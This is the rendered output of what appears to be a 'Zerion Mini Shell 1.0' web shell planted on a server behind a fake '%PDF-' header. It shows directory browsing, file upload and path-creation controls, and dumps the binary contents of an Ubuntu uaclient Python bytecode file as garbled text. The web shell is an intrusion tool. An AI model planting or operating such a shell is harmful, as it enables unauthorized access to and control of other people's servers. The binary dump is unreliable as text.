%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/uaclient/timer/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/uaclient/timer/__pycache__/update_contract_info.cpython-312.pyc

�

�(�f����ddlZddlmZmZmZddlmZddlmZddl	m
Z
ddlmZejeje��Zd	de
fd�Zy)
�N)�messages�system�util)�detach)�_is_attached)�UAConfig)�
machine_token�cfgc�4�t|�jsytj|�}t	j
�j}|j�jdi�jdi�jdi�jdd�}|r}||k7rwt�t	j|�}tjj|j|j��}|rt!|�t"j%|�yyy)N�support�entitlement�affordances�
onlySeries)�release�series_codename)r�is_attachedr	�get_machine_token_filer�get_release_info�series�entitlements�getr�get_distro_infor�PRO_ONLY_ALLOWED_FOR_RELEASE�formatrr�print�LOG�warning)r
�show_message�machine_token_file�current_series�only_series�allowed_release�messages       �E/usr/lib/python3/dist-packages/uaclient/timer/update_contract_info.py�validate_release_seriesr%s������(�(��&�=�=�c�B���,�,�.�5�5�N��'�'�)�	��Y��	�	��]�B�	�	��]�B�	�	��\�4�	 ���{�n�4��� �0�0��=���7�7�>�>�#�+�+�+�;�;�?�
����'�N����G��5�{�)F)�logging�uaclientrrr�uaclient.api.u.pro.detach.v1r�(uaclient.api.u.pro.status.is_attached.v1r�uaclient.configr�uaclient.filesr	�	getLogger�replace_top_level_logger_name�__name__rr%�r&r$�<module>r1sF���+�+�/�A�$�(��g���:��:�:�8�D�E����r&

Zerion Mini Shell 1.0